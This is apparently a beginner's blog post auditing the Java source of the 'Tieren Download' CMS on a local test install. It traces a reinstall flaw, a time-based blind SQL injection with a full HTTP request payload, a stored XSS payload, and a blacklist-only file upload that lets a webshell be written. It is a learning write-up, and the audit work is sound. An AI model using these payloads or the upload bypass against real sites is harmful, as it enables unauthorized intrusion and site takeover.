鐵人下載CMS代碼審計

簡介

初學(xué)java代碼審計,跟著大佬的審計方案,走一遍審計流程,這個系統(tǒng)沒有使用java框架,作為入門不錯。主要作為熟悉代碼審計流程,尋找漏洞思路,學(xué)習(xí)記錄。

環(huán)境準(zhǔn)備

環(huán)境搭建使用了本地搭建環(huán)境,查看代碼使用IDEA,配合tomcat8.0,因為IDEA會自動反編譯,比較方便。我使用的是安裝必看中的第二種方法,手動安裝,修改數(shù)據(jù)庫連接,然后手動將sql文件導(dǎo)入數(shù)據(jù)庫,接著打開后臺管理地址,安裝完成。使用默認的管理員賬號密碼。

發(fā)現(xiàn)漏洞

非框架的代碼審計,按照前臺--后臺,緊急--低危,非交互--交互,跟隨代碼流程盡量發(fā)現(xiàn)高危和易利用的漏洞類型為主。

重安裝漏洞

因為我使用手動安裝的方法進行安裝,sql文件也是手工導(dǎo)入,直接導(dǎo)入sql文件,然后后臺打開安裝發(fā)現(xiàn)無法安裝,需要將db_an設(shè)置為no,才能安裝成功。使用系統(tǒng)自帶的安裝功能安裝完成后,db_an會被設(shè)為no,雖然/install目錄的重新安裝頁面沒刪除,但確實使用系統(tǒng)自帶的安裝功能不存在重新安裝的漏洞。
跟隨/install/index.html頁面,找到了install.jsp文件,再根據(jù)form action,找到install_setup.jsp頁面

安裝頁面

然后再根據(jù)install_setup.jsp上的import語句
import="liuxing.util.Install,java.util.*"
找到安裝的主要邏輯代碼,在WEB-INF/class/liuxing/util/Install.class中,安裝時會判斷db_an的值,yes可以安裝,no不安裝;安裝完成后會把值設(shè)置為no,雖然install頁面沒有被刪除,但是已經(jīng)不能再次安裝了。
image.png

? ?所以當(dāng)使用系統(tǒng)自帶的install方法安裝時不存在重安裝漏洞;如果使用手動導(dǎo)入sql文件,并且沒有將db_an設(shè)置未no的話,且沒刪除install目錄,就會存在重安裝漏洞。

SQL注入

先嘗試下搜索功能,隨便輸入關(guān)鍵字,點擊搜索,跳轉(zhuǎn)到so.jsp.查看so.jap

image.png

發(fā)現(xiàn)將搜索的值傳入了Ruanjianguanli的so方法中,找到Ruanjianguanli的so方法
image.png

是調(diào)用了ruanjianDao.so()函數(shù),我們接著來看看
image.png

同一個構(gòu)造函數(shù)中可以發(fā)現(xiàn)ruanjianDao其實RuanjianMySQL的一個實例,接著再往下跟。打開WEB-INF/class/liuxing/dao/RuanjianMySQL.class文件 搜索so方法,最終使用預(yù)編譯的方法來執(zhí)行sql,所以這個地方不存在sql注入。
image.png

有一處使用了預(yù)編譯方式,說明很多地方采用預(yù)編譯的方式來執(zhí)行sql語句,基本沒有sql注入漏洞。所以換個思路,通過全局搜索createStatement關(guān)鍵字,看看有沒有用拼接的SQL語句的。
image.png

如上圖所示也有很多可以注入的地方,但是需要后臺登陸,在delete語句中存在時間盲注,比如
delete from user where id in('222') or if(ascii(substr(database(),1,1))>107,0,sleep(3));
image.png

利用:

GET /admin/left6/Delete.jsp?pageNo=1&id=000')+or+if(ascii(substr(database(),1,1))>108,0,sleep(3))--+ HTTP/1.1
Host: localhost:8080
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:66.0) Gecko/20100101 Firefox/66.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Referer: http://localhost:8080/admin/left6/guanliyouhu.jsp
Connection: close
Cookie: Phpstorm-da0128c6=8686f169-5769-401c-a557-13b58accd387; JSESSIONID=29976F22C3B4A37F8BFEDEA123CB35C7
Upgrade-Insecure-Requests: 1

但是后臺都已經(jīng)登陸了,也沒必要去糾結(jié)這種sql了,應(yīng)該有更容易利用的漏洞,我們繼續(xù)往下找。

存儲型XSS

系統(tǒng)比較簡單,所以前臺能產(chǎn)生XSS的地方比較少。會員注冊后修改個人資料,郵箱處
可以使用payload
""><script>alert(0)</script>

image.png

成功處罰XSS漏洞。我們來看denlu1.jsp代碼
image.png

我們來找到Userguanli的Xiugaiyonghu2的方法。最終定位到WEB-INF/classliuxing/dao/UserDaoMySQL.class文件中的Xiugaiyonghu2方法中,直接將前端傳過來的 youxiang值寫入數(shù)據(jù)庫中,導(dǎo)致存儲型XSS。
image.png

后臺任意文件上傳漏洞

? ?在"其它管理"—"添加友情鏈接"處、"軟件管理"—"軟件發(fā)布"頁面,都可以上傳文件,在web.xml中或者順著jsp頁面調(diào)用尋找,都能夠找到具體的邏輯代碼。
內(nèi)部代碼看起來都是一樣的,以WEB-INF/class/liuxing/util/shangchuan2.class文件為例,關(guān)鍵代碼如下:

            List e = upload.parseRequest(req);
            Iterator iter = e.iterator();
            String regExp = ".+\\\\(.+)$";
            String[] errorType = new String[]{".exe", ".com", ".cgi", ".asp"};
            Pattern p = Pattern.compile(regExp);

            while(true) {
                FileItem item;
                String name;
                long size;
                do {
                    do {
                        if(!iter.hasNext()) {
                            return;
                        }

                        item = (FileItem)iter.next();
                        if(item.isFormField() && item.getFieldName().equals("date")) {
                            date = item.getString();
                        }
                    } while(item.isFormField());

                    name = item.getName();
                    size = item.getSize();
                } while((name == null || name.equals("")) && size == 0L);

                Matcher m = p.matcher(name);
                boolean result = m.find();
                if(!result) {
                    throw new IOException("無法上傳");
                }

                for(int e1 = 0; e1 < errorType.length; ++e1) {
                    if(m.group(1).endsWith(errorType[e1])) {
                        throw new IOException(name + ": wrong type");
                    }
                }

                try {
                    String var24 = m.group(1);
                    String men = this.getExt(var24);
                    item.write(new File(this.getServletContext().getRealPath("/") + "wen/" + date + men));
                    res.sendRedirect("../admin/left3/chenggong2.jsp?" + date + men);
                } catch (Exception var21) {
                    out.println(var21);
                }
            }
        } catch (IOException var22) {
            out.println(var22);
        } catch (FileUploadException var23) {
            out.println(var23);
            out.println("文件大小超出限制");
        }

    }

其中會判斷上傳的文件名,要符合正則表達式 ".+\(.+)$",才能夠正常上傳。即形似xxx\xx的文件名,估計是為了 匹配Windows路徑中的\,比如C:\a.jpg。定義了內(nèi)部禁止的后綴名".exe", ".com", ".cgi", ".asp",這就是唯一的過濾方式了。
繼續(xù)往下看,寫文件時,關(guān)鍵的一句代碼:

item.write(new File((new StringBuilder(String.valueOf(getServletContext().getRealPath("/")))).append("wen/").append(date) .append(men).toString()));

即將文件存放在/wen目錄下,保存為date+men形式的文件名,兩者都是可以控制的,直接修改寫shell了。


image.png
image.png

image.png

其他漏洞

未完待續(xù)

參考文章

源碼下載
鐵人下載系統(tǒng)代碼審計
JAVA代碼審計的一些Tips

最后編輯于
?著作權(quán)歸作者所有,轉(zhuǎn)載或內(nèi)容合作請聯(lián)系作者
【社區(qū)內(nèi)容提示】社區(qū)部分內(nèi)容疑似由AI輔助生成,瀏覽時請結(jié)合常識與多方信息審慎甄別。
平臺聲明:文章內(nèi)容(如有圖片或視頻亦包括在內(nèi))由作者上傳并發(fā)布,文章內(nèi)容僅代表作者本人觀點,簡書系信息發(fā)布平臺,僅提供信息存儲服務(wù)。

友情鏈接更多精彩內(nèi)容